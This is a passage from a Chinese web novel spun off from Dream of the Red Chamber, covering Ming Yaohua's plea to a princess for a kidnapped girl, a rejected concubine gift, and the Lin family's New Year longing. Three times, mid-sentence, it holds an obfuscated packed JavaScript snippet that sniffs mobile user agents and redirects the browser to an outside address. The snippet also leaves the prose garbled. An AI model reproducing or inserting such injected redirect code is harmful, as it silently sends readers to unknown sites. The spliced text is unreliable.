她明明知道办法，却因不想沾染麻烦的私心而不说，她做不到。 花园和郡主所住的正院不远，走上小半刻钟就到了。 平昌郡主院内仆妇林立，倒是没看到小姐太太装扮的人。 进了内厅，明瑶华屈膝行礼，而后被安排坐在郡主下首。 平昌郡主笑道：“明娘子，这是我们第二次见面了，你还认得我吗？” 明瑶华抬眼看到平昌郡主嘴角含笑，温和可亲，头上一顶金丝珍珠宝石制成的流苏凤钗，金丝闪耀，红宝石夺目，身上穿着大红织金牡丹缎长袄，百子缂丝马面裙，看上去比初见更加华贵。 她笑道：“郡主的品貌，让人一见再难忘记，我怎么会不记得？只是郡主却是吓到我了，那日我不知您是郡主之尊，诸多失礼之处，请郡主勿要见怪。” 平昌郡主挥退下人，只留着心腹在侧，笑道：“我叫你来，是想亲自感谢你，要不是你，我还不知道怎么样呢。你既然帮了我，我也不小气，可以应允你一个承诺，等你遇到难事了，或是有什么想要的而我正好能帮得上的，你来找我，我绝不推脱。” “不过是举手之劳，郡主已经送了许多谢礼，我再多求，就是贪心了。”明瑶华婉言道。 送上门的好处都不要？ 崔二娘等人可是千恩万的收下了。 想着时下多数女子以夫为天、夫贵妻荣的想法，平昌郡主蛊惑道：“你可以留着这个承诺，等到日后你夫君有幸入朝为官，我可以替他在皇伯父面前美言，不敢说官升三级，但给他谋一个好差事还是可以的。” 明瑶华抬头看着平昌郡主，认真问道：“郡主说，我有想要的而您正好能帮得上，绝不推脱，是真的吗？” 平昌郡主端起茶碗轻啜一口，“当然！” 明瑶华笑了：“我真有一桩事要求郡主帮忙。” 明瑶华心道：等楚明霁入朝为官，理想状态下也要三年后，三年后都哪年哪月了？ 何况楚明霁的能力和性子，是不需要也不愿依靠裙带关系的。 再说，所谓的承诺对于郡主来说就像一个人情债，有能力偿还的情况下谁愿意欠债啊？ 既然如此，正好用这个承诺救了香菱。于她而言千难万难的事情，对郡主而言只是一句话都功夫。 如此，郡主消了人情债，对她也有两个好处，一则帮了她想帮的可怜人，二则顺势在郡主面前树立一个好形象。 三赢！ 平昌郡主不妨她立时就有事要求，静静等着看她能说出什么事来。 明瑶华不慌不忙，从收到帖子请刘嫂子上门制新衣说起，再到从伍兴儿处得知薛蟠冯渊争抢的美貌丫鬟恰巧眉心有一点红痣，三言两语就将事情说得清清楚楚，令人落泪，又生出期待。 “那拐子已死，无法审问那丫头到底是不是他从姑苏拐来的，但眉心一点红痣这样明显的胎记，八九不离十就是封氏的女儿了，就算没有十分的肯定，封氏必然是愿意上京一趟的。只是我们人微言轻，就算封氏和那丫头是亲母女，也不一定能要回女儿。因此我求郡主当个中间人出面，帮封氏要回女儿，封氏也攒了些银子，愿意出赎身银子将女儿赎回来。” 屋内的韦奶娘和朝云朝雨都听得抹泪，再想不到她们郡主随手送出的几匹绸缎竟然牵扯出这样一件闻者心酸的惨事。 “竟有这样巧的事。”韦奶娘道：“郡主，那薛家不算什么人物，荣国府也没甚厉害人了，封氏占着理，您出面帮忙占着大义，就帮帮她们吧。” 朝云朝雨也道：“郡主，您就帮帮封氏母女吧，不然晚上我们睡觉都得想着这事。” 她们是被家里卖到宫里的，父母亲缘浅，听到封氏和石绣娘为了女儿苦苦寻访，又同情又自怜，要是封氏母女能团聚，就好似自己也得了救赎一般。 平昌郡主擦去眼角的泪痕，笑骂道：“你们几个，倒做起我的主来了。” 平昌郡主没有怀疑事情竟然真能这样巧，一是明瑶华没必要欺骗她，二是《晋书》里就有邓攸纳妾的典故，所以明瑶华恰巧听到封氏之女的下落，不是不可能的。 朝雨笑着给平昌郡主捏肩膀，道：“因为奴婢们知道郡主一言九鼎，说出的话就一定做到，才敢劝郡主的呀。” 朝云则道：“奴婢是想，偏就因郡主送的缎子引出这一桩巧事，郡主帮那封氏，是给咱们小哥儿积福呢。” “行了，这点小事，我应了。”平昌郡主对明瑶华道：“只是应了这件事，我应允你的承诺也就没了，你可想清楚了？” 明瑶华起身坚定道：“谢郡主救助之恩。” 平昌郡主暗道：这明氏倒是合我的脾气，大气良善，为人坚定。 她忽地问道：“要是没有我的承诺，你打算如何帮助封氏，是当做不知，还是直接原封不动地告知封氏？” 啊？明瑶华愣了一下，有点羞赧道：“先前想过，律法规定掠卖良家子买卖同罪，若是能看到判决文书，从中找到漏洞，便能以此威胁薛家交人。薛家交人便罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353316|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，若是不交人，就打听京城有哪些正直好名声的御史，将冤情告知，同时去京兆府告官，把事情闹大，想必御史会很愿意掺和这桩子事。可惜因无法看到卷宗，暂时没有放弃了这个想法，左右为难中，幸好有郡主相助。” 朝云脸上逐渐露出钦佩的神色，若是她，断不可能想到什么御史，她光是听到薛家有荣国府作为靠山，就吓得慌慌张张的了。 “好一招借力打力。我就知道，你是个大胆机敏的。”平昌郡主称赞，突然问道，“你家里可有人当过官？” 若非家中长辈耳濡目染，就按楚明霁一个小秀才，如何能教她借用御史之力对抗薛家贾家？ 明瑶华老实道：“先父是乾宁二十年的进士，在陕西做过几年官。” “果然是家学渊源。”平昌郡主来了兴致，“那石绣娘你欲如何帮她？人海茫茫，找人可不容易。” 朝云和朝雨也期待地望着她。 明瑶华早就想过了，立即道：“石绣娘的女儿是在松江府丢的，据说生的容貌出众。我想着先花半年时间把药皂生意做起来，商人的消息灵通，可通过商人打听一部分消息，着重在南直隶和浙江一带打听。其次，去向人牙子和被捉拿归案的拐子打听，交叉对比不同人牙子和拐子的话，确定他们手中的孩子大概卖往哪个方向。有了大方向，找起来至少有个目标，不至于海底捞针。” 平昌郡主目露赞赏，朝云和朝雨更是目瞪口呆，她们万万想不到这些的。 虽然最后也不一定能找到，但确实是可行的法子。 “好一个聪慧的小娘子！”韦奶娘也是心悦诚服了。 外面客人多起来，仆妇在门口等候多时，听得室内的说话声告一段落，连忙进来禀告：“郡主，知府太太和通判太太都来了。” 身份越高的人来得越晚，连知府夫人都到了，主人家是时候出去招待宾客了。 平昌郡主起身，抚了抚鬓角，道：“知道了，你去让奶娘把小哥儿抱出来露个脸儿。” “是。”仆妇躬身退出去。 平昌郡主笑道：“楚太太，你就跟在我身边，与我坐一桌如何？” 明瑶华已经摸到郡主的一点性格，因而俏皮笑道：“郡主美意，本不该推辞，只是外子只是区区秀才，坐郡主身边恐怕会带累郡主招致闲话。等我回家催外子上进，早日给我挣个诰命回来，到时再与郡主同桌品茗。” 平昌郡主笑道：“你自己就有本事，未必要靠男人才能和我同桌品茗。” 她好像是随口说了这么一句，就扭头吩咐朝云道：“你亲自送明娘子去戏台子那里。” 明瑶华在陆同知府里惬意地听戏吃喝，认识了几个年轻的秀才太太，时间就到了申时，宾客陆陆续续告辞离开。 楚明霁和明甫光一道，和新认识的、同样在开年后入府学读书的友人辞别。 因不好进内院找人，他就站在二门处等明瑶华。 一身墨蓝锦袍，面如冠玉，头戴儒巾，身量颀长，活脱脱就是老爷上京赶考时的模样。 实在是太像了，衣着像，容貌也像！ 林管家来陆家送礼，和陆同知府上的张管家喝了几杯酒出来，猛然看到一副熟面孔，他揉了揉眼睛，才喝了二两酒，难道他就醉了？ 等等，这青年腰间的玉佩，那玉佩的雕工，分明就是他当年听老夫人的吩咐，找江南玉雕圣手陆先生雕刻的麒麟送子玉佩。 两枚样式稍有差别的玉佩，给了当时府里的两个新姨娘。 林管家看看人，又看看玉佩，越看越觉得像，心中不由升起一个荒谬的猜测，大冬天的后背热出一层汗。 明甫光远远看到姐姐出来了，生出一个坏心思，他拉着楚明霁往墙边躲了躲，瞧着人到跟前了，突然蹦出去，将明瑶华吓得一跳。 “竟然耍起我来了。”明瑶华手一扬，轻轻捏着他的耳朵。 “我错了我错了，姐姐放过我吧。”明甫光乖巧认错，连连求饶。 楚明霁在一旁笑，两不相帮。 一家人闹着往角门外走出去。 林管家转头跑回去找张管家。 19. 林管家打听 张管家忙着监督丫鬟收拾珍贵的字画和古董摆件，暂时没空搭理他，林管家只好耐着性子在一旁等着。 等了将近一个时辰，张管家忙完了，他立刻道：“我有个事情要向你打听，快找个清净的地方咱们坐下说。” 陆同知是正五品官职，工作职责之一便是负责地方盐粮事务，和盐运使有一定的公务往来，林管家和张管家也因此有几分面子情。 张管家不明所以，还是找了个安静屋子坐下。 “是什么事？” 林管家急切的心情被压下去，冷静了些，嘴角挤出一个笑，道：“这不是在门口看到一个相貌堂堂的年轻人，穿着一身墨蓝云锦的袍子，似乎是个读书人，难得的是对女眷幼弟也尊重，像是有良心的。你也知道我家老爷只得一个女公子，要是能收个弟子在侧，好好教导，我家大小姐以后也有个倚靠，不至于孤立无援，任夫家欺凌。我想问问你，那个年轻人是谁家的后辈？我家老爷探花出身，想来教他是绰绰有余的。” 这个形容张管家一听就知道是谁，但稳妥起见，张管家没有立即回答，而是问道：“林大人要是有心收弟子，应该收个年纪小的，慢慢教起来，不是更可靠？” 林管家噎住，顿了顿，道：“八九岁的小子，等到能出人头地，那得等到什么年月去？不如选个少年人，我家老爷托举他一把，等日后凭他的良心护一护我家大小姐，也就是了。” 这个理由说得过去，张管家心想，也许这是楚秀才的运道来了，我若是不说，林安这老家伙也会从别处打听到楚秀才的消息，不如就让我来做这个人情。 他笑道：“你问我，可是问对人了，不过你家老爷想收人家做弟子，也得看人家愿不愿意。” “你是好眼光，看中的少年正是如今扬州院试第三名的楚秀才，旁边跟着的应是楚太太和楚太太的幼弟，楚太太也不得了，得了我们郡主的青眼。他们家前途亮着呢，不见得就要上你们林家这条船。” 张管家虽然和林管家有面子情，但他到底知道，林家是太上皇的人，陆家和忠顺亲王是依附于当今皇上的，皇上派陆同知担任扬州府同知一职，未必没有派心腹盯着盐政的意思。 太上皇要是没了，盐运使大人是个什么结局可不好说。 张管家不自觉就带出一点看好戏的神色来，林管家没心思观察他的神色，他都快要乐疯了，院试第三名，院试第三名，院试第三名！ 不行，他得赶快回去查清楚，一刻也不能拖！ 张管家看着一阵风一样走了的林管家，嘀咕道：“人家还不一定看得上你家呢，别热脸贴了冷屁股就好笑了。” 此时林如海尚在衙门当值，林管家一腔热血跑到运使街，在两淮盐运使司署门口，被冷风一吹，突然踟蹰起来：府里前几年接连失了哥儿和太太，大小姐也被太太娘家接去京城了，家里空荡荡的没个人气，老爷因诸多原因没了心气，近两年身体不如以往。 若是贸然向老爷禀告此事，万一查到最后，并不如他所想，岂不是让老爷大喜大悲，对身体不利。 不如按下不提，他悄悄地打听，等有了眉目再禀告老爷。 林管家下了决定，转头回府里去找宋姨娘，找了个借口让宋姨娘拿出她的那块玉佩出来。 陈年旧事不好查，当年两枚玉佩和两对镯子，分别给了宋姨娘和月姨娘。 只是镯子都大差不差，放在他眼前他也辩不出有什么不同，除非拿去给陆先生验一验。 玉佩就不一样了，陆先生的雕工精湛独特，他一眼就能认出。 宋姨娘在林府后院宛如隐形人，没个孩子，管家理事也轮不到她，所幸也没人磋磨她。 林管家开口，她就命丫鬟取出藏在床底箱子里的檀木盒，她最光辉时期得到的好首饰都装在里面。 林管家确认这块玉佩确实是陆先生雕刻的、属于宋姨娘的玉佩，道恼之后匆匆走了。 宋姨娘珍惜地抚摸手上麒麟送子的玉佩，丫鬟绫儿奇怪地问：“姨娘，林管家怎么突然要看玉佩？” 宋姨娘神情淡淡的，摇头道：“我也不知道。” ＊ 却说明瑶华结束宴会回到家中，伍兴儿便送来了白芷、艾叶、苍术等药材，明瑶华又买了肥猪肉炼油，买了槲木、柳木、芦苇、稻草等灰烬含有碱性物质的草木，买了一麻袋贝壳，和花椒娘一起，第二天花费了一整天时间熬制皂液，装入模具冷却。 等冷却后切出来一百多块巴掌大的药皂，药皂颜色分别为暗灰色、暗绿色和暗黄色，散发着淡淡的药材香气。 花椒娘几乎要惊掉下巴，不敢相信这么精美芳香的猪胰皂是自己帮着做出来的，更没想到主子一点儿也不防着她，她和女儿花椒全程看着猪胰皂是如何做出来的。 明瑶华趁着年前得闲，带着花椒娘坐车去了一趟石绣娘家。 如今腊月十二了，年味越来越浓，再不去说她就要忙起来了，再则，在年前将消息说与石绣娘和封氏，她们心里有盼头，过年也能高兴些。 石绣娘见到秀才娘子上门，忙请她入暖阁坐下，封氏得了石绣娘的言语，隐隐猜到秀才娘子来是因为她的事，忙前忙后地端上茶水点心。 明瑶华解下披风，刚坐定，手里就被递了一杯沏好的热茶，她低头饮了一口润润喉咙，道：“我今儿来是有个好消息。” 她先将如何从跑商邻居的嘴里得知金陵有一个被拐子卖了两家惹出官司的美貌丫头的前因后果以及封氏女儿如今的下落说了一遍——这个说辞她已经对郡主说过一遍。 而后说了自己想的法子和不可行之处，然后笑盈盈道：“幸好我帮了郡主一个忙，郡主应承我一件事，我便求郡主出手相助，郡主也应了，不过如今正值年关，恐怕要等到开年后郡主才能腾出手来处理这件事。你们别心急，先好好过个年，年后自然就有好消息了。” 封氏听到那个眉心一颗红痣的女孩儿年龄和大致和自家女孩儿对得上，立即认定了那就是自己的女儿。 又听到秀才娘子动用了她的人情，她年后就能上京城见到女儿了，当即激动得泪流满面，说不出话来，扑通跪在明瑶华面前，结结实实地磕了一个头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353317|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 石绣娘也在一旁落泪。 明瑶华吓一跳，忙起身扶起她，“你这不是折煞我吗？” 封氏嗫嚅着唇瓣，喉咙被一腔酸楚黏住，说不出清楚话，好半响才抹了眼泪，“您的大恩大德，我无以为报，日后一定当牛做马回报您。” 明瑶华心里酸酸的，劝她坐下，“我不需要你的回报，我做事全凭着我的心罢了，你找回女儿，以后能好好过日子，就是报答我了。” 她看红楼梦，和许多读者一样喜爱黛玉，喜黛玉的才华、风骨、人品、能力、美貌，但对于香菱，则是完完全全的怜爱和共情。 前世在她五岁时，妈妈在创业忙碌，她跟着老人在小镇居住，就差点被人贩子拐走，都被抱上面包车了，幸好有一个好心姐姐看到，一边大声呼喊人报警一边扑到车上将她抢下来，好心姐姐的腿都被车拖出伤痕。 当时她不懂，妈妈回家抱着她又哭又笑，带着她去好心姐姐家感谢，等到长大了，回想起这件事，才知道怕。 她得到了好心姐姐的帮助，也不吝惜去帮助别人。 等屋内的两人情绪缓和，她才柔声道：“至于石绣娘的事，我也有了章程——人牙子和拐子对于这些歪门邪道是最精通的，从人牙子嘴里套话要用计谋，但要撬开落到牢狱的拐子的口是容易的，只要肯出些银子打点狱卒。知道了大概方向，找人也不至于没头的苍蝇似的乱转。” 这个时代，进了牢狱可没有什么私刑之说，只要不打死，那就是正当刑法。 明瑶华并不认同这种行为，但是她对于拐子深恶痛绝，在对待拐子上，她有双重标准。 至于着人在南直隶和浙江一带打听的法子，她没说，说了只是加重石绣娘的心理负担和焦虑。 而为什么要在南直隶和浙江一带打听，自然是因为受限于交通和路引，拐子最有可能在南直隶和浙江将手里的孩子转手。 “我有钱，我攒了银子的。”石绣娘急急道。 她的绣活出色，盐商家的太太小姐又是出手大方的，她很是攒了些银子。 石绣娘从来没想到可以从牢狱里的拐子嘴里问话，懊悔自责：“若是我早知道可以这样，说不定我早就找到我的蜜娘了。” 明瑶华轻声安慰她，“过去的事多想无益，且看以后吧。” 再坐了一阵，明瑶华起身告辞。 石绣娘虽然不知道未来如何，但已然对明瑶华感激不尽，封氏更不必说。 石绣娘道：“秀才娘子帮了咱们这许多，她不求回报，我们却不能忘恩负义，当做理所当然。该做些什么谢她才是。” 封氏寻女有望，脑子好似被水冲洗过，神思清明，她道：“我们直接给银子，秀才娘子必不肯收的。我们最拿得出手的唯有一手绣活，不如合力做一个屏风给她。在屏风做好之前，我们先各做一身衣裳写她。” 封氏说的屏风自然不是普通屏风，而是以缂丝为底的双面绣屏风，费时费力，卖价最低也得上千两银子。 石绣娘抚掌道：“这个好，你的脑子也伶俐起来了，比我想的周到。” 20.送妾、父女两地思亲 明瑶华原以为能安安心心过个好年了，却没想到年前又来了一处闹剧。 这次闹剧还有个前因。 卓家是扬州本地望族，田地商铺不可计数，兼营盐业和典当。 只是扬州是江淮漕运咽喉之地，又是两淮盐运中心，两淮都转盐运使司署就坐落于扬州城内，商业繁荣，外来富商豪族的势力逐渐盖过本地望族。 卓家是商户，无法科举，为了不使家族在商业竞争中没落，卓家另辟蹊径，将族中子弟都进学读书，交好文人学子，自诩风雅书香之家。 卓家的蕴芳园是扬州名园，园名出自李白的诗句，“会桃李之芳园，序天伦之乐事”。 蕴芳园时常举办诗会雅集，许多扬州学子都以收到卓家诗会请帖为荣。 每年扬州府的院试成绩优异者，以及乡试中举者，都会收到卓家奉上的财物。鲜少有人会拒绝，都是欢欢喜喜收下，和卓家保持友好的往来。 而今年，卓二爷派人给院试第三名送礼，竟被拒了，简直是奇耻大辱！ 卓二爷自觉对外丢了脸面，对内失了父兄的看重，在家中大发脾气，当时被派去送礼的二管家卓全更是被迁怒责骂。 卓全却在几日后无意中听到给园子里的门窗重新雕花上漆的木匠和旁人扯闲篇炫耀：“不但我婆娘长得漂亮，我婆娘的娘家妹妹更是难得的美人，就连秀才公看见了都舍不得挪开眼珠子。” 一起做工的同伴大笑：“曹柱儿，你家一条巷子都没个读书人家，哪儿来的秀才公？莫不是哄人说大话的，哈哈哈。” 显然这个同伴是知道曹柱儿家情况的。 曹柱儿夜间在床上被徐氏描绘的美好前景煽惑，要是徐令婵成了楚秀才的妾室，以后楚秀才若是能考中举人做官，他们家也能跟着得好处，他们的孩子有这一门亲戚，在金鱼巷里也不会受人欺负了。 就算楚秀才以后考不中，也是救了徐令婵，楚家是读书人家，讲究面子，对徐令婵来说总比被徐大哥卖给商户做妾要好得多。商户人家，多的是今日受尽宠爱的妾室，明日失宠了就被发卖出去的事情。 “谁说大话了？”曹柱儿眼角看到二管家的身影，愈发大声道：“我家住金鱼巷子，前几天报子敲锣打鼓的来报喜，谁人不知？” 旁人七嘴八舌的开始应和了。 “我作证，确有此事。” “真的假的，你婆娘的妹子真那么漂亮，你看我怎么样？我家里也给我攒了娶妻银子。” “放你娘的屁，人家妹子有个秀才老爷惦记着，还能看得上你？” “哎，秀才老爷真的看上你婆娘的妹子了，那你岂不是能和秀才老爷做连襟？曹柱儿，以后你发财了可别忘了我们啊。” “呸，什么连襟，人家秀才老爷早就娶婆娘了。难道你婆娘的妹子愿意做小？” “做小怎么了，等以后秀才老爷当官了，上赶着给人家做小人家都看不上你，要我说，就得趁着人家还是秀才，赶紧去套近乎。” 说话的人压低声音道：“卓家不就是这样做的吗？” 曹柱儿照着徐氏的提点胡咧咧，听到同伴们热烈的回应，几乎要被这种受人注目的虚荣淹没，浑然忘了二管家的存在。 直到二管家咳嗽一声，众人都被吓得噤声，埋头做活。 曹柱儿心里打鼓地被二管家叫走问话。 “楚秀才和你婆娘的妹子有什么私情？给我老实说，不然今天的工钱你就别想了。” 曹柱儿有徐氏的提醒，刻意夸张了楚秀才和徐令婵的关系，两人只是在巷子里见过面，被他说成楚秀才一见徐令婵就盯着徐令婵不挪眼，“虽然楚秀才没有直说，但我想着，这不就是书里说的一见钟情吗？” 卓全问：“你那妻妹长得当真漂亮？” 曹柱儿拍着胸脯道：“那是自然，比我婆娘还好看。” 卓家的爷们俱是贪好美色之人，卓全没有怀疑曹柱儿的话。 他正因给楚秀才送礼不力，遭到卓二爷斥责，这会儿冒出一个主意。 他去游说卓二爷道：“……男人哪儿有不好美色的，他不好钱财，是因为他家里有几两银子小钱，用不着咱们的银子，但美人嘛，哪个男人不喜欢？” 于是徐令婵就被卓家从徐大哥手里买走，徐大哥本就想将妹妹卖给商人做小，如今来了卓家，家业比普通商人大，出的价更高，足足八百两银子，如何有不愿的？ 徐令婵刚到卓家还心有惴惴，然而珠翠锦衣上身，丫鬟仆妇伺候，比之在家中粗布衣裳、洗衣做饭的日子好了百倍不止，那一点儿恐慌也散去了，一面接受卓家的规矩调.教，一面安心过起娇小姐日子。 在腊月二十这日，卓全将美人和礼品送到金鱼巷。 徐令婵坐在一颠一颠的轿子里，隐隐有些惆怅，楚秀才的家财是远远比不上卓家的，要是……那也是不错的。 卓全扣门，花椒娘从厨房跑出来开了门，明瑶华等人正聚在一起练大字，闻声一齐走出来。 卓全在院子里作揖道：“城东卓家来给楚老爷送年礼了。鄙人是卓家是二管家，知道楚老爷品性高洁，不喜俗物，故特意寻了难得的书画笔墨等风雅之物，以作年礼，另有倾心楚老爷的佳人，可为楚老爷铺纸研磨，还望楚老爷不要推辞。” 徐令婵适时从小轿子里走出来，一身扬州缎裁制的软蓝袄裙，头发挽起，发间插带古朴的青玉簪和浅蓝绢花，莹润的小脸侧着微微抬起，脸颊泛着浅浅的红晕，双目含情地仰望站在台阶上的俊逸书生，看着着实令人生出几分怜爱。 卓全自认为已经足够给楚秀才面子了，送来的女子也有一番姿色，颇有信心地等着楚秀才收下谢礼，他好回去和卓二爷复命邀功。 明瑶华似笑非笑地看了楚明霁一眼，转身掀起帘子进房里去了。 明甫光毫不犹豫地跟进去，独留楚明霁应对。 楚明霁板着脸，语气冷硬、态度坚决地拒绝道：“多谢二管家的美意，只是我先时便说过了，无功不受禄，请卓管家将所带来的都带走吧。” 卓全一愣，他接触过诸多书生，还没遇到过这么不讲情面、不识好歹的人，当即抬出卓家的大旗施压道：“我卓家乃扬州望族，一向交好文人雅士，就连知府都给卓家几分薄面，你几次三番拒绝我卓家的示好，是看不起我卓家吗？” 楚明霁冷声道：“我读书花费、寄身处所，全赖我妻子和岳父资助，我读的圣贤书教我修身齐家治国平天下，难道卓家是想逼我忘恩负义、纳妾乱家吗？毁我名声如同毁我前程，卓家就是这么交好文人的？还是卓管家你气焰嚣张，在外给你家主子得罪人？” 哪个罪名卓全都吃不起，他强压下一腔怒火，咬牙道：“如此，在下告辞了！” 徐氏挺着微微凸起的肚子，大冷天的趴在楚家墙根外，听着楚明霁掷地有声的话语，神情从一开始的痛快期待到不敢置信，指甲在墙上抓挠，指甲缝里都是土灰。 为什么会这样，她的妹妹容貌不俗，楚秀才怎么会不喜欢？ 不应该的，不应该的！ 院内的卓管家带着抬礼品的奴仆小厮出来，一顶两人抬的小轿子坠在最后。 徐氏陡然僵住，妹妹就这样进了商人家，她是不是，害了妹妹？ 楚明霁解决了莫名其妙的人，抹了把脸，心虚地走入房内。 明瑶华心烦意乱，心不静，练的字也不如意，瞧见楚明霁走进来，她三两下将写废的纸张揉成一大团，朝着楚明霁扔过去。 明甫光瞪大眼睛，悄悄溜了，这不是他该呆的地方。 “你扔错地方了，我不是废纸篓，这才是装废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357566|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸的地方。”楚明霁将纸团扔进废纸篓，轻笑道。 明瑶华心里烦躁，说话也带着酸，“可不是嘛，你当然不是废纸篓了，你是佳人爱慕的秀才老爷。” 很气，非常生气！ 楚明霁自她身后环住她，将下巴靠在她肩上，“别气了，我都不认识她，那只是一个与我们不相干的人，就算明天在大街上擦肩而过我都认不出她长什么样。” 明瑶华不理他，推开他径自拿了一本书去暖阁坐下。 楚明霁跟着过去，挨着她坐下，对着空气自语道：“生得一张俊脸难道怪我吗？如果我不是有这一张英俊的脸蛋，瑶儿也不会看上我，如今却又气我长得俊，招揽蜂蝶。容貌是天生的，真要找个人怪罪，也只能赖我父母给了我这份好容貌。” 明瑶华又气又好笑，嘴角流露出一点笑意。 “我看到你笑了，不许再生气了。”楚明霁立刻抱住她，在她嘴角亲了一下，“我只想和你一起过日子，不要别人。” 明瑶华哼道：“我要是死了呢？” 楚明霁脱口而出：“你死了我就当一辈子鳏夫，等下辈子我们还在一起。” 明瑶华赶紧捂住他的嘴巴，“不吉利的话不要说。” 楚明霁灼灼地看着她，“那你还生气吗？” 明瑶华捶他胸口，“你再问就真生气了。” 虽然来了一场闹剧，楚家这个年还是过得比前两年欢喜热闹。腊月二十三之后，明瑶华给各家互送年礼。 大年三十上午，于院子摆了祭桌供品遥祭明家先人。 下午，于正厅摆了祭桌供奉三牲、果品、酒馔，楚明霁写了祭文诵读，向父母祖宗报喜，而后焚烧纸钱。 晚上，一家人用了丰盛的晚饭，换上新衣欢欢喜喜迎接新年的到来。 盐运使官宅 林管家连日忙着打点送往各处的年礼，处置各处商人送来的年礼，来的、往的，收帖子、送帖子，忙得脚不沾地。 林家没有女主子，各项事物流程也简化了许多，饶是如此，依旧处处不得闲。 大年三十，林如海在祠堂祭祀祖宗，供桌上的斗香燃得正旺，跪坐在蒲团上的人神思不知所往，宛如枯木一般。 列祖列宗也许早已转世投胎，父母妻子不知是在奈何桥等他亦或是在他处，这些人都不必他费心挂念了。 这世上他所牵挂的唯有他的玉儿，他唯一的孩子，不知道在京城过得如何？ 玉儿自小身子骨弱，在京城也不知道吃的香不香，睡得好不好？ 会不会有人见她孤身在京城，欺负了她？ 林管家在院子里等候，眼见祠堂里只有林如海孤身一人，亦是心酸不已。 等明年…… 京城荣国府、除夕深夜 觥筹交错的喧闹过后，夜深人静之时，黛玉无可避免地想起家中亲人。 母亲已去，她身边有外祖母和一众表姐妹陪伴，只有父亲在扬州，孤身一人。 这样的节日，父亲不知该如何的孤独空寂。 黛玉本已躺下，越想越伤心，眼泪落入枕头里，既然睡不着，索性披衣起身。 紫鹃跟着起身，看姑娘坐在书案前，不需多言便铺纸研磨。 黛玉提笔，不加思索便一挥而就，写下一首诗。 放下笔，她静坐良久，方去躺下。 次日，宝玉早早的来了，邀黛玉一起去给老祖宗请安，谁知黛玉还未起，时间还早，他不欲打扰妹妹，转身就要出去。 临走前却看到书案上镇纸压着一首诗，一句句在心中念了，悄悄离去。 林妹妹是想家了。 宝玉回到房里，吩咐袭人道：“我记着前儿赖嬷嬷送了几瓮南边来的蜜饯，里头有一瓮苏州的青梅蜜饯，你找出来，给林姑娘送去。” 21.府学 楚家和明家的人际交往都简单，过年期间逛了两回街，去了一回二郎真君庙，就是窝在家里了。 楚明霁在院试榜单出来后放松了一阵，过了大年初五又捡起书学习了。 他开年后进府学，有一场考试，成绩优异者可成为廪生，可每月领取廪米和银两，可为人作保，获取收入，就如同楚明霁去年院试时找上陈廪生为他作保一般。 明瑶华便开始烦心起为明甫光找夫子的事来。 明甫光年纪虽还小，读书水平却可以下场县试了。 要他去和同年龄的学子一起进学，他嫌弃人家呆笨；若要去和水平相当的学子一起进学，那些学子年纪比明甫光大好几岁，有些都娶妻生子了，明瑶华担心他一个小孩掺在大人堆里受欺负。 楚明霁揉了揉长时间写字有些发酸的手腕，道：“这有什么可愁的，我布置好课业，你多盯着他，不许他偷懒，每天检查他的功课。我每旬都有两天假，光弟有不懂的，攒着等我回来问我就是了。” 他嘴角上扬，道：“就算我也有不懂的，还可以去问府学的夫子，府学的夫子可比外头私塾学院的夫子博学。” “好哇，你也学会占便宜了，你一个人在府学读书，我们全家都能得到府学夫子的教导。”明瑶华揶揄笑道。 楚明霁的脸皮也一点一点练出来了，面不改色道：“没有夫子不喜欢聪明好学的学生，就算夫子知道了，也不会责怪一心向学的学生。” 明瑶华想了想，笑道：“你说的倒真是个好主意。” 既然说到府学，明瑶华想起另一件事，“周家怎么说，是决定考一考府学还是就在县学就读？” 当日一同结保的五人，楚明霁、周从宜和季则三人都中了，汪俊和姚俊成名落孙山，等后面再战。 楚明霁的名次好，直接就有进府学读书的资格，周从宜和季则的名次靠后，若想进府学读书，还须得经过考试，择优录取。 屋内还烧着炭盆，楚明霁有些口渴，招手示意明瑶华来桌边坐下，倒了两杯茶，一杯推到明瑶华面前，一杯自己一饮而尽，润了喉咙之后，方道：“年前我就写信劝过他了，昨天又写了一封信请人带给他，信里也给他写了考试重点和做题思路。我是觉得在府学读书好，只是府城花销大些，但周家又不是花不起这点银子，既然立意科考出仕，没必要在这上面俭省。只是尚且不知他如何决定。” 清宁县周家，周夫子也在和周从宜说这事。 楚明霁的信周夫子也看过，字字句句都是一片好意，奈何周从宜犹犹豫豫的没个准话。 周夫子气急道：“你看看明霁，这般劝你，对你的真情厚谊没一点掺假的，你就去试试能如何？再不去县衙报名，你想去考试人家也不要你了。” 周从宜也不是不想参加府学考试，只是：“我担心，考不过别人怎么办？” 少年人还是好面子，他的名次在后五十名里，楚明霁高居第三，就连季则也在前一百名之内。 